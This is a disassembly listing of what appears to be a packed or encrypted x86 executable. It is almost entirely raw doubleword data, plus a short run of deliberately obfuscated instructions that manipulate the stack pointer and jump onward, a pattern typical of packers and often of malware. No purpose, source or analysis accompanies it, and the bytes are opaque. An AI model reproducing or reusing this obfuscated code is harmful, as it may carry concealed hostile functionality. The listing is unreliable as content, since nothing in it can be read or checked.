0EE95E1Ah, 0B3000000h dd 5D6D2316h, 0A04D0071h, 0C1CBBB17h, 25896405h, 0 dd 6E9h, 4961BA00h, 8B24C83Dh, 9BB966C4h, 0EB01CD5Ah, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 86EB1F2Bh, 0E9CF8B66h, 7, 0E5690D7Ah, 6A657289h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0CB66C352h, 36EEC0C2h, 0D68B66E3h, 58F64h, 81000000h dd 75FA5BC1h, 4C4832Eh, 50C98166h, 0FC00B64h, 0E684h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F98FF292h, 2840F61h, 8B000000h, 4BD8DCEh, 66061B71h dd 0A9B7F281h, 1B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 70FD7444h, 0DCD18B12h dd 0E7FFF5B0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 89C35242h, 0FC3B3F4h, 681h, 0F8D98100h, 575C5B37h dd 10245C8Bh, 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h dd 83830000h, 0B8h, 0C0335F02h, 56006AC3h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 72FA1032h dd 0F2C6C4F8h, 8B66089Bh, 0D4B360D1h, 68F0Fh, 0E1810000h dd 0F378A55h, 61D38B61h, 8BF08B66h, 28C0FC0h, 8A000000h dd 0D1BD83EFh, 61B23h, 0BD830975h, 61B3129h, 50197400h dd 0B8C08B53h, 40Eh, 21318589h, 9D8D061Bh, 61DA6B4h, 585BD3FFh dd 3129BD83h, 7400061Bh, 0B8535017h, 40Eh, 21318589h, 9D8D061Bh dd 61DA355h, 585BD3FFh, 0F5E6F681h, 0BE662F0Bh, 0C08B002Dh dd 0C28BCC8Ah, 10E8h, 3A22AF00h, 496C0CA6h, 1CA51252h dd 0E6D7A72h, 8E8A0h, 9B290000h, 8C8BBFD9h, 816031EDh dd 8DFC0ED3h, 870F2Dh, 61000000h, 0C3815B58h, 6C96h, 0B9FBBF0Fh dd 0 dd 9EE88166h, 0B148B5Bh, 0D0DE8166h, 0FDF2812Eh, 812FD1C0h dd 98E8F8C2h, 0F0BF0F67h, 0D8F9C281h, 830F4EEDh, 10h, 0BE9h dd 0EF649D00h, 34AB4C9Ah, 9E1FF8F3h, 0E90B1489h, 0Dh, 66A88B6Bh dd 23A428BBh, 0AEA0AE7Bh, 0C78166BFh, 0E983945Bh, 8B0F04h dd 81000000h, 0FF943CF9h, 19850FFFh, 0E9000000h, 2Fh, 0F2B6AE79h dd 0F4E05C2Bh, 3A6DBD8h, 9AA26631h, 796646C1h, 7E85B866h dd 0FFFF7CE9h, 0D72894FFh, 0A530D729h, 9FB70972h, 14D235D4h dd 0EBCE6615h, 46F31718h, 9Bh, 4 dup(0) dd 20BE900h, 8B600000h, 0E824245Ch, 0 dd 0F3ED815Dh, 61061E37h, 0E90004C2h, 0FFFFFFE6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0) dd 0E9C36160h, 0FFFFFFF8h, 382BB58Bh, 0E681061Eh, 0FFFFF000h dd 0BE9h, 19E800h, 0C6810000h, 1000h, 382FB53Bh, 860F061Eh dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 1B1E9985h, 0A188606h dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh dd 82474FFh, 240D95FFh, 0F50061Bh, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 1B1E9985h, 0C606h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 99858B00h, 86061B1Eh, 0FDB0A18h, 0FFFFF685h, 0F585C7FFh dd 61B06h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 6F585C7h, 100061Bh, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh dd 0D88C66C3h, 840F04A8h, 29h, 37D085C7h, 1061Eh, 0F500000h dd 0FE244C01h, 37D4858Fh, 858D061Eh, 61E37CCh, 37D4BD8Dh dd 3889061Eh, 23E9h, 75858D00h, 8B061B30h, 17053840h, 899B46F3h dd 1E37CC85h, 75858D06h, 8B061B30h, 85893C40h, 61E37D0h dd 37E9858Dh, 8589061Eh, 61B240Dh, 87E9h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 33535156h dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h dd 8C25Ah, 3A5C858Dh, 8589061Eh, 61B0D75h, 3A84858Dh, 8589061Eh dd 61B2B15h, 3AAC858Dh, 8589061Eh, 61B2B29h, 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 61B1CD5h, 891F858Dh, 88B061Eh, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 3B0D8D89h, 0BD83061Eh, 61B2235h, 0F840F00h dd 60000000h, 95FF006Ah, 61B2205h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 985895Ah, 8B061E3Bh dd 1E3B0DB5h, 10CEC106h, 2728966h, 3B0DB58Bh, 8966061Eh dd 8B61FC72h, 1E3B0985h, 958DC306h, 61B1F5Dh, 1E999589h dd 9589061Bh, 61B3031h, 303185FFh, 85C6061Bh, 61B239Dh dd 48D86853h, 0B5FFFCB1h, 61B2BF9h, 391F858Dh, 0D0FF061Bh dd 22058589h, 858D061Bh, 61E3803h, 11A58589h, 20EB061Bh dd 8 dup(0) dd 5A2E9h, 596E900h, 0C0680000h, 0E9061E3Dh, 0FFFD421Ch dd 1E3E5A68h, 4212E906h, 0C68FFFDh, 0E9061E40h, 0FFFD4208h dd 1E409768h, 41FEE906h, 2F2FFFDh, 4333C867h, 4EE05A4h dd 4625BA5Dh, 0FAF70CABh, 0B91B453h, 6504ABC6h, 20BF628Eh dd 6C0BAACBh, 12B55897h, 5F9E25A0h, 3238D641h, 0D4008C39h dd 0F365BCC9h, 8A314821h, 0DF1B60E6h, 2BA69F38h, 0C87D55A4h dd 0FA9E2C3Eh, 0C87DA035h, 96945EBEh, 9936B45Bh, 0FA79195Ah dd 0BEC87DE3h, 0ED8A087Eh, 0C3A15F7h, 9D229F26h, 0BEC87D5Ch dd 8C333E33h, 0B1C06A0Eh, 84BD1147h, 1F4782h, 6BBB0000h dd 3EC87D91h, 3EE50CE3h, 1305A9A1h, 0FB78FBCEh, 0C4E9A1F3h dd 8B3BDE6Ch, 30h, 7D966B05h, 2EB33EC8h, 0A37A2B44h, 169CD1BAh dd 4BFF981Ah, 0F4CB46CDh, 76815AF9h, 70103AD3h, 0E98303EBh dd 4BEE5CC4h, 9C3F3906h, 0A1A74703h, 9F38DF1Bh, 0C41422A6h dd 5A215C94h, 0A46D71B6h, 0FAA4BEC8h, 0A08F277h, 47AC49F0h dd 62E88528h, 7ABF62E0h, 8727CAA5h, 0F1744B95h, 69DAFD6Bh dd 0B6C17F5Ah, 21059513h, 41818931h, 57DC5FFFh, 0BEC8B282h dd 17EC6FD5h, 0B29835D8h, 9255A42Bh, 9E2CBEC8h, 0A5D221FAh dd 0D57593F4h, 35701508h, 98B83B7Ah, 0CB6EEC6Eh, 44C70257h dd 0F58311BFh, 0BA42244h, 2DD9A538h, 0F3926347h, 0BC5F995Ah dd 6A5D023h, 0A9D79A44h, 208AE5BFh, 7C6A59A8h, 6D224F24h dd 0A89B17D3h, 39C1EF3h, 652EA747h, 94000000h, 0AECBA73Eh dd 0AA28C3B0h, 311EA528h, 0C4C4E9A0h, 7F0BF46h, 412EC564h dd 4C25CA9Eh, 8E1F49E3h, 30F4Ch, 7E195B00h, 4BEA04DBh dd 741B57ACh, 52EDFED5h, 7A2158AFh, 617072D7h, 0B94EF198h dd 667D1CBFh, 0B249E887h, 4B7F22C5h, 40B24BC8h, 0DCCD38D6h dd 2DA0266h, 0CD5B0000h, 9756DEDh, 59DF7FC9h, 18E1DF1Bh dd 0F476D471h, 7D15E85Bh, 1E633EC8h, 683EC87Dh, 3EC87D90h dd 38DF1BE8h, 460BAB9Fh, 3EC87DB3h, 0C87D38BDh, 7DB3463Eh dd 0F0BF7EC8h, 7CCE6706h, 36932ADCh, 6DDF30AFh, 5D5284F6h dd 0D572F093h, 46CDFC41h, 1741D3C9h, 0ADE6CFDh, 83C46F6Bh dd 7522B855h, 0C1000002h, 627918B3h, 7D52F594h, 0D42BCE75h dd 865DFC97h, 4025C46Bh, 933A379Ah, 6E11DFF4h, 9A3934CBh dd 7417E0F7h, 0DD62E1D5h, 38D6431Ch, 1BC87A73h, 7A9C39DCh dd 0E25FE6E3h, 0AE32E30Dh, 5E4536E9h, 0AC9E37B9h, 7B9B470Ch dd 2E9CC4E9h, 0D77E748Bh, 0D9D7A338h, 0E466FF9Ah, 2759DF66h dd 68518F4Ah, 9A63E063h, 0F5C72ABDh, 0C056EF8Fh, 46CD5079h dd 3D0B6192h, 0B8AEC8A5h, 0C38720BBh, 20A2A845h, 0F927BA81h dd 0BD04CD0Ch, 0DA0A890Ch, 65372D25h, 0F74F6FD1h, 22A0E3EEh dd 8ABC49Bh, 0B49EF785h, 9A92DC02h, 0B7C017F6h, 0C5C87B14h dd 26D36E38h, 1EA32A9Fh, 6E3858A1h, 0F8D137D3h, 87C35CFFh dd 0BDF64E7h, 5C294FE4h, 5F9867EEh, 9D181DBCh, 7C05ACC6h dd 0D940747Dh, 0FDD27614h, 8DB64FF2h, 0D94074B8h, 0DE6564F9h dd 0BF5F8C63h, 4074B940h, 0F072D8D9h, 0CE53F357h, 2361A82Ah dd 6F44C73Dh, 0A53ADD80h, 7A6D0CAh, 0D75EDC6Eh, 0B04DF008h dd 0F91DF69Ah, 61DE6564h, 25806C89h, 48EE52E6h, 1F676B76h dd 0BA3F04A1h, 63E583ECh, 40E713E0h, 0D8219EA7h, 0B7E583ECh dd 52FCF51h, 42C8006Ah, 228EDDD0h, 0F7000000h, 0E0E4F57Ah dd 0D7BE583h, 98887Dh, 97378C47h, 42966B91h, 0DE23EC8h dd 35A343DEh, 0Eh, 5A966D8Bh, 8C2C1EB7h, 0C84732C7h, 0A73E3B3Eh dd 0E8149B22h, 6FC4E9A1h, 55D37682h, 2FFF8DB8h, 3FE20EB8h dd 1C18A4A6h, 3CEE9288h, 22A124A5h, 3D151D04h, 50F703D0h dd 37F393B7h, 944FDD1h, 0D15E43C4h, 0C309h, 42DD0F00h dd 8F2E489Fh, 38DF1BF0h, 96314299h, 6E15DCF3h, 0DDF4A6CBh dd 35CA6D14h, 0E2F9983Bh, 0FED57413h, 37AB4EF1h, 3DC6179Ch dd 0D09938D6h, 14A73EF2h, 9458ED50h, 25C0B387h, 219E25A3h dd 0C4E911F5h, 7881FE83h, 17C72A09h, 0B3510DB1h, 0F3926330h dd 0B48BBA53h, 0C67F18BBh, 2A09B049h, 0B739CFC7h, 6960E517h dd 42E10DE2h, 4DEA9169h, 59D659FDh, 3D17337Bh, 3DE00FE4h dd 6EEC8764h, 0C5D3D79Ah, 0FEDCB143h, 38h, 2ACD6884h, 57FA99D5h dd 34D37A80h, 8E31CC9Fh, 36D98079h, 39409113h, 0E018EF92h dd 28459A3Dh, 0E611E689h, 9332A443h, 0D63DCD0Ch, 0F7CBA438h dd 302h, 0BC865800h, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh dd 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh dd 0AE47E610h, 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h dd 83242489h, 57042404h, 0C781E789h, 4, 8704EF83h, 895C243Ch dd 0B2682404h, 89000040h, 53562434h, 0B45217BBh, 0CE38165h dd 81115A0Ah, 0B30EFEBh, 0ECEB8125h, 89D5E694h, 0F0895BDEh dd 348B545Eh, 4C48324h, 8BA52h, 0C2810000h, 53FD0FABh dd 0EA81F201h, 53FD0FABh, 8B5A0289h, 89572434h, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 24048B5Ch, 5E08950h, 4 dd 405h, 24048700h, 3C92E95Ch, 0B770FFFDh, 1E40F4B8h, 8BC50306h dd 0E900EBC8h, 676h, 66AE9h, 42826800h, 71E9061Eh, 68FFFD3Ch dd 61E43AFh, 0FD3C67E9h, 444E68FFh, 5DE9061Eh, 68FFFD3Ch dd 61E4537h, 0FD3C53E9h, 469968FFh, 49E9061Eh, 3DFFFD3Ch dd 0DEF5942Fh, 39CE7110h, 0E0F79A41h, 2D97813h, 0CCB150F7h dd 17BEBB16h, 0F2956378h, 1EBDB84Fh, 0E88B647Bh, 71EE9549h dd 38D63C68h, 6B9C2607h, 3EC87D96h, 0C87D19E0h, 826F6F3Eh dd 0E2F7C137h, 6CC13782h, 0C137826Eh, 3782E5F8h, 97E77541h dd 74EADF2Ah, 5AF4E45Eh, 0C7772BCAh, 5970F527h, 0CD334DD2h dd 981DBB0Ah, 2C0FC21Bh, 0A4279D47h, 2C0FDE1Fh, 7313B147h dd 0F5CA51B7h, 46D259F8h, 0D2CB2365h, 65C46476h, 27C05F8Eh dd 0DC5F6AEFh, 11E26557h, 0C090F6BDh, 0C3CB09BEh, 0DFD5058Ah dd 99000004h, 0CA21C05Bh, 956A0DACh, 0BC13B65Dh, 5E7514AFh dd 284DEC93h, 0EB925F72h, 16B9B74Ch, 0F2915C73h, 1CBFB84Fh dd 45CA497Dh, 38D63FB4h, 1B60E2CBh, 0A79C39DCh, 3EC87D55h dd 0BB400F0Bh, 617619BCh, 995AF396h, 6B38BB5Eh, 59A4D98Eh dd 0C4CCB214h, 0FDA1A946h, 0F7A3CF24h, 0C80A6178h, 88A003Eh dd 0C66D846Fh, 51200E29h, 69E8B623h, 0DC630BE4h, 3EC80A1Dh dd 0B554D674h, 85290339h, 0FCF4CB02h, 60ECF54h, 0E3613EC8h dd 0DE82C865h, 41CE5h, 0DC1B5D00h, 55A79C39h, 43EC87Dh dd 0D405BB41h, 0D8FD4171h, 0E367009Bh, 1857C165h, 1EC16493h dd 53AA29ACh, 2E3EC840h, 0F9F4FF98h, 5720B75Ah, 936231B4h dd 61985BF4h, 7F9838BAh, 7C744BC6h, 850E3CD9h, 3EC84074h dd 27D97D0Bh, 6D14DE90h, 59F87AD0h, 35D27582h, 8C0FB2BEh dd 40738A09h, 780E3EC8h, 0EFF239D8h, 293EC840h, 5A29AC4Fh dd 72ED7D1Ch, 2F14FA49h, 0C155EE92h, 4BC64D7Ch, 76B049C6h dd 39CF3EC8h, 5CA69095h, 0CB39C4F5h, 0E66FEDFBh, 0E8F2BB49h dd 3B2h, 42E5806Ch, 7F22C1ADh, 4CEB9268h, 7619B4B7h, 4EF19861h dd 2158792Bh, 0F800D77Ah, 501DB255h, 0FEF90EB1h, 8B0ABC5Bh dd 0D63EF504h, 1FA38C38h, 0D58EDF6Dh, 59631D02h, 0B45720B5h dd 0F6916231h, 3D3AB952h, 118E139Ah dd 3EC8F9C8h, 0E4AA13A7h, 0CE6648BEh, 6093AC4Ch, 2CD39E98h dd 79460BAEh, 8E4FD480h, 0E13EC8ABh, 248E563h, 0ABC4D95Eh dd 4F923EC8h, 0C93EC898h, 0D0730CAFh, 3EC8B80Dh, 0A62D972Eh dd 3EC8B857h, 971E9C2Ah, 0F5821218h, 6737CDC4h, 49E7248Bh dd 136A703Dh, 0CD000003h, 8E65049Fh, 0C91EC160h, 90670AB1h dd 0D229C863h, 0FC6100A7h, 670EEBE6h, 0A24533C8h, 6E0DE8FFh dd 983B34CBh, 0C13EC5F9h, 38D63938h, 1BAC9657h, 925F34DCh dd 73F852EBh, 3EC87D6Ah, 32F37F05h, 69DB36D0h, 0BF34D14Fh dd 0F611FFB0h, 86BC1075h, 0F97980FFh, 0B2183EC8h, 945C9730h dd 0D19F54F1h, 1CCA912Eh, 0ECBA2755h, 7417E065h, 35A319D5h dd 6AB50285h, 10000002h, 0F5CF0E95h, 30493EC8h, 0DE5EEC89h dd 6B82C868h, 3EC87D96h, 39B86590h, 0CF7DF87h, 0D95CFB7Dh dd 0C964875Ch, 44951E2Ch, 1B3EC836h, 0F99CD4ADh, 0D6758055h dd 1CBBBA39h, 3AEF1399h, 0C4DDD277h, 0A6500B24h, 882746CBh dd 0CFB72DE9h, 48170284h, 0EDE68A31h, 48h, 22A73E55h, 45AE149Bh dd 9331C4F5h, 0E66661C3h, 1CBE4F49h, 22Ah, 0CA6D08E4h dd 0F79A3935h, 0D4731AE0h, 0AE51ECFFh, 0D6792059h, 99607173h dd 0C0B84FF2h, 88657A1Dh, 0C6B146E9h, 0B3528423h, 0D638AD2Ch dd 57EBC438h, 0F9D857FEh, 613EC87Dh, 21C56492h, 3F069F25h dd 48E58870h, 0F36A75F4h, 5DDBD699h, 9F3B07CDh, 0FAF342Dh dd 0BD5CFBFAh, 2ACDAB78h, 0E887668Dh, 0C762916Ah, 2A5D227h dd 8D2AB165h, 0FD6DD1F5h, 73F0733Fh, 3EC8856Ah, 5E017F05h dd 2ACD6C89h, 801B5827h, 49EC0BE0h, 862947ACh, 0A24930FFh dd 82A14505h, 6330B550h, 9564EB97h, 0EC3EC885h, 0F73CDC5Eh dd 3EC885E6h, 81720B79h, 0B746CD79h, 0CA3EC885h, 751AEF2Eh dd 1496C5E0h, 0B5FFF396h, 6C866D0Ah, 44E1806Eh, 5EE58406h dd 3EC80F9Bh, 14E56AE7h, 6B3EC80Fh, 72C739DDh, 9D4FD457h dd 0CEC4F528h, 6330B538h, 2A61F194h, 64089A5Ah, 0E905DA7Eh dd 0C13EC34Ah, 0C72DA138h, 0E118F157h, 0B277963Ah, 3C7FB426h dd 0EF8F6217h, 0A03DDC1Ah, 0FDA4CEA5h, 0CA698459h, 7AAC62Dh dd 0B86D856Eh, 0E375B313h, 90374205h, 53D553F7h, 89068BBAh dd 0C72D5F70h, 0D3A0790Fh, 0BAB9F38h, 7E05C419h, 0F8017E03h dd 97C72D5Fh, 7F1E5831h, 7FC464E6h, 3D107BE1h, 3A04D472h dd 8643CB71h, 0C831A9h, 72820000h, 0D3A338D7h, 343E9534h dd 0D615EA8Dh, 2A479C3Bh, 5B81E483h, 35D47B76h, 902FD29Eh dd 3CDB7A7Bh, 8225C8A7h, 0AF2EB550h, 0C238D63Bh, 0DC1B59E9h dd 2426B239h, 0E3DECC24h, 21F7CC58h, 0E0BE9281h, 915EE740h dd 0A637BC68h, 0B93EC886h, 0D429CD4Bh, 6D6CF39Bh, 43EC886h dd 0F06B0486h, 0C9A62B46h, 51878326h, 7D0285ADh, 8A627BF8h dd 30FD3EC8h, 8424A645h, 1C4Bh, 916BB700h, 0E33EC87Dh dd 4D36DF0Ch, 9B3FB365h, 3E9333B5h, 0FBEB8E31h, 17h, 7D966B55h dd 67903EC8h, 847241C4h, 0F87B90D7h, 8503E293h, 23FC42E1h dd 14C707h, 0C1440000h, 7D3EBF44h, 0B3513EC8h, 0C87DAF2Eh dd 0A444C23Eh, 0D91B08BAh, 2552A13Eh, 0DF0EE582h, 244CA740h dd 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h, 0E610E37Ch dd 5624AE47h, 0C681E689h, 4, 4B850h, 0C6290000h, 24348758h dd 0E289525Ch, 4C281h, 0EA830000h, 24148704h, 2434895Ch dd 42FE68h, 243C8900h, 1E41DE68h, 24348B06h, 5404C483h dd 83243C8Bh, 0B95104C4h, 8, 65A6E981h, 0F9017315h, 65A6C181h dd 31897315h, 243C8B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_53531C ; --------------------------------------------------------------------------- dw 0C2AAh dd 0B81D5429h, 61E4786h, 0D18BC503h, 51E9h, 748B6000h dd 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h, 4E8B6600h dd 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h dd 0C428B28h, 2B144A8Bh, 89F82BC1h, 611C247Ch, 830008C2h dd 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh, 3EBAFFFFh, 0E80009FDh dd 8, 0D9838F86h, 4DE79257h, 5ACFBF0Fh, 4870Fh, 0BF660000h dd 0C281C40Eh, 6CB6h, 8A0FDB2Bh, 0Ah, 5E9h, 48D5FC00h dd 34FFC3BDh, 0B70F6013h, 0DE8166D2h, 5E61D6CFh, 0DE9h dd 601D8500h, 0AE83AE9Ch, 0BBD29258h, 0EE81EFE4h, 65EA1511h dd 0F38B5060h, 0DEBF0F5Ah, 4FEE8161h, 0B8581783h, 5EFFE390h dd 9CFF681h, 880F5934h, 8, 28C0Fh, 61600000h, 0E91A3489h dd 13h, 30E71FD7h, 0AE31BB95h, 8DED703Eh, 0F45C7F43h, 8106E464h dd 950F6DEBh, 67B96617h, 69C38150h, 5617950Fh, 8D0Fh, 815F0000h dd 0FF9434FBh, 1E850FFFh, 0F000000h, 284h, 0E9F88B00h dd 26h, 13F33D42h, 9D282A56h, 5F2067B6h, 1D1FCD2Eh, 50B966C2h dd 0FF4CE921h, 0AB40FFFFh, 1F5B8E18h, 2E510FDBh, 0D9E904EFh dd 20000000h, 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h dd 325277CBh, 9CACACh, 0F7F691B8h, 9382CD64h, 38h, 3Ch dd 40h, 94h, 5, 1, 0A28h, 2, 20h dup(0) dd 1B8E661Eh, 1F3FE9h, 4C646800h, 0CDE9061Eh, 68FFFD33h dd 61E4D4Dh, 0FD33C3E9h, 4E1368FFh, 0B9E9061Eh, 68FFFD33h dd 61E4ED8h, 0FD33AFE9h, 4FAD68FFh, 0A5E9061Eh, 68FFFD33h dd 61E507Fh, 0FD339BE9h, 512968FFh, 91E9061Eh, 68FFFD33h dd 61E51C8h, 0FD3387E9h, 551168FFh, 7DE9061Eh, 68FFFD33h dd 61E5569h, 0FD3373E9h, 566968FFh, 69E9061Eh, 68FFFD33h dd 61E5939h, 0FD335FE9h, 5CAB68FFh, 55E9061Eh, 68FFFD33h dd 61E607Eh, 0FD334BE9h, 61F068FFh, 41E9061Eh, 68FFFD33h dd 61E6255h, 0FD3337E9h, 62AC68FFh, 2DE9061Eh, 68FFFD33h dd 61E630Dh, 0FD3323E9h, 641368FFh, 19E9061Eh, 68FFFD33h dd 61E658Ah, 0FD330FE9h, 66A368FFh, 5E9061Eh, 0F9FFFD33h dd 2AC160FBh, 0F50AAD4Ch, 1CB356FDh, 0BE15B44Fh, 86D0CB3h dd 4BF2FFD2h, 761957ACh, 52F1FCD3h, 7C1F58AFh, 0E56AE9DDh dd 38D63614h, 1BC0826Bh, 0A99C39DCh, 0C2B0C623h, 0A01FCB6Eh dd 3EC89859h, 0B050D238h, 0F2791C5Bh, 44673C66h, 0EBB5C853h dd 0A411A12Ah, 4242D282h, 0D1D8C221h, 0E71BFA9Eh, 6FF47752h dd 0C4F5175Dh, 0A49F38CEh, 0C72D5751h, 5E91E0BEh, 22C66591h dd 69DF70E8h, 2CE6FCh, 6D5C0000h, 17B75A96h, 0E26960E5h dd 0F4AE475Dh, 15B218C4h, 2CB2AB2Eh, 0A7AA54C7h, 2BD29F74h dd 0DE18B892h, 0FC698066h, 0E8F0h, 0DC1B5200h, 1A579C39h dd 0E66BDA73h, 0C87D9069h, 0B559EF3Eh, 1BB45720h, 79FC9FD8h dd 8C2391F3h, 2327C063h, 705E7E97h, 0D2EA71D0h, 543EC827h dd 67F5781Bh, 0E59441ECh, 983F3A34h, 29CD4BFFh, 47CA470Ah dd 0C89031C8h, 31BA503Eh, 3EC890A8h, 489D41C7h, 23F38C2Fh dd 2BA82B9Eh, 0C4F5BEB1h, 0BF1AB543h, 0E84CAA82h, 0DB7E0C48h dd 0B4379227h, 162BB231h, 0C046C72Dh, 0F0961D20h, 633D13B0h dd 68915EE5h, 0B0C91EC1h, 52493509h, 0D25B43C5h, 1C7108h dd 1AB5B700h, 0F7966077h, 0D0778358h, 0FE99DA31h, 0C66D845Bh dd 359C3E23h, 0DDF2953Ch, 3AD17013h, 0E6FD9C3Bh, 0FC36609h dd 31EEEF74h, 0A88138D6h, 37DE1B1Ah, 180EDFB4h, 24C13FDEh dd 4CA38226h, 78FD8023h, 0C87DE2FBh, 0CBF97D3Eh, 2A4ABB57h dd 7B9A3EBCh, 22A73EB3h, 0AE1E149Bh, 43C1C4F4h, 0B24499AAh dd 0D3B1C72Ch, 80DA127Ch, 66F2FC69h, 0B1AD2FC7h, 2EA747DEh dd 0A7h, 39DC1B94h, 9FDAA99Ch, 4BEB5FF8h, 7B14BBB6h, 0C879F0C8h dd 3F39363Eh, 56F4912Ch, 0D19E35D4h, 8653AA29h, 201EC137h dd 0F7D688CDh, 5CDE6CE8h, 0BB0E53C3h, 9E6BD38h, 1F7DC266h dd 0B03B0A63h, 3E83771Ah, 0B68D088Bh, 0B07519B8h, 3D12DAE1h dd 0AC830A80h, 647B1EC5h, 0BC638F8Dh, 8A3D023h, 4438088Ah dd 5443C4C9h, 1B881FBBh, 9ECE0000h, 5F8F6403h, 0B0CA21C0h dd 62916609h, 0A6D328C7h, 0E7FD60FFh, 0C9680FEAh, 4A34632h dd 0C05FFEEFh, 6A94C2Bh, 2BB231D4h, 4638D630h, 0DE1BDD65h dd 34439837h, 1B68EE91h, 579C39DCh, 0EAF37018h, 853EC87Dh dd 8ADE81FFh, 4386DB7Ch, 59DD43C0h, 816EC4F5h, 9EB0C378h dd 0DBAC6B58h, 88AC05Dh, 697813h, 6BF18B9Dh, 29C1BAB5h dd 0D547E708h, 7215E290h, 2ADF6DF0h, 76B49E59h, 7F01A4D3h dd 0DD75CDFh, 47F9A3DFh, 1FB445CAh, 2FCB09F3h, 1D605888h dd 4A1FA13Fh, 6FEB8B2Eh, 717D52D9h, 711535D2h, 0E2E77E98h dd 5FE0D45Bh, 1177F3CFh, 17BAB58Ah, 0F1946378h, 2228951Dh dd 0BC1EEF81h, 1AC2h, 0AE51EC08h, 0DB7E1D59h, 0A847EE04h dd 0E2852053h, 9A3DE40Dh, 0C5AC25B7h, 8C647B1Eh, 0C4B146E9h dd 826D8225h, 78E40DFh, 0D6337188h, 0A31F1038h, 9C39DC1Bh dd 5FE6E37Ah, 3EE50DE2h, 50A7959Ah, 0D238C4F5h, 0BD29592Fh dd 3A1FB62Fh, 0AD5198D5h, 0E5D5E67Bh, 98AC4DA1h, 0C64DD052h dd 3D11CE50h, 3A0657E3h, 59291D6Ah, 0ED69E2D7h, 3CF4D34Dh dd 22A124A5h, 0E8ED22D0h, 5BA221A4h, 361B353Ah, 963430D0h dd 9635400Fh, 68FD19F2h, 0B24BEE0Ah, 0C931A98h, 0E109E128h dd 0EDC249BFh, 59DC5F02h, 2A7303DAh, 1D85721h, 60212A73h dd 3CDC6AEAh, 0EFE906DDh, 87C35C03h, 996B3509h, 703DAFE0h dd 19FD6Ah, 96314300h, 7312DCF3h, 4CF3FFD4h, 7A1556ADh dd 52F900D7h, 0B918CAAFh, 617619C0h, 7E55F497h, 0DA31D06Fh dd 6357FA9Dh, 339A63E0h, 34F538D6h, 39DC1B8Eh, 0D8E37A9Ch dd 0F1CCEB4h, 0C4B2871Fh, 40C28825h, 22BB38BDh, 3D3EC8A6h dd 9F2427C7h, 0C4F58CB1h, 4F25C442h, 83469B14h, 0C2AE8500h dd 8C2B4A1Fh, 0E8F167ECh, 4823D10h, 0A8D7740Fh, 0CD14A1A9h dd 70FC79FCh, 13B824B0h, 5EE38370h, 93D4F994h, 52C461E7h dd 0B837BE0Bh, 95F2DAC4h, 926BE85Bh, 0ED74233Eh, 0CF52D957h dd 233E8950h, 0BE62E874h, 2872F67Bh, 967840FDh, 30BB4EF0h dd 9808DA4h, 0C4679065h, 22532025h, 0A36FFB75h, 0D957C35Dh dd 